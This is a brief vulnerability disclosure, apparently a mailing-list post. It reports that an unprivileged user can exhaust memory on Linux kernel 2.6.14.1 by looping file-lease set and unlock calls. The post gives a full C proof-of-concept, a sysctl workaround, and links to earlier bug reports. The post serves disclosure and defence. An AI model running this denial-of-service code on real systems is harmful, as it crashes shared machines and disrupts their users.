local denial-of-service with file leases

[Avi Kivity <avi@argo.co.il>]

the following program will oom a the 2.6.14.1 kernel, running as an 
ordinary user:

#include <unistd.h>

#include <stdlib.h>

#include <linux/fcntl.h>

int main(int ac, char **av)

{

    char *fname = av[0];

    int fd = open(fname, O_RDONLY);

    int r;

    

    while (1) {

        r = fcntl(fd, F_SETLEASE, F_RDLCK);

        if (r == -1) {

            perror("F_SETLEASE, F_RDLCK");

            exit(1);

        }

        r = fcntl(fd, F_SETLEASE, F_UNLCK);

        if (r == -1) {

            perror("F_SETLEASE, F_UNLCK");

            exit(1);

        }

    }

    return 0;

}


it will suck all available memory into fasync_cache, causing an oom. a 
workaround is to set fs.leases-enable to 0.

this has already been reported to lkml[1] and fedora[2], with no effect.

[1] http://www.ussg.iu.edu/hypermail/linux/kernel/0510.2/1589.html
[2] https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=172691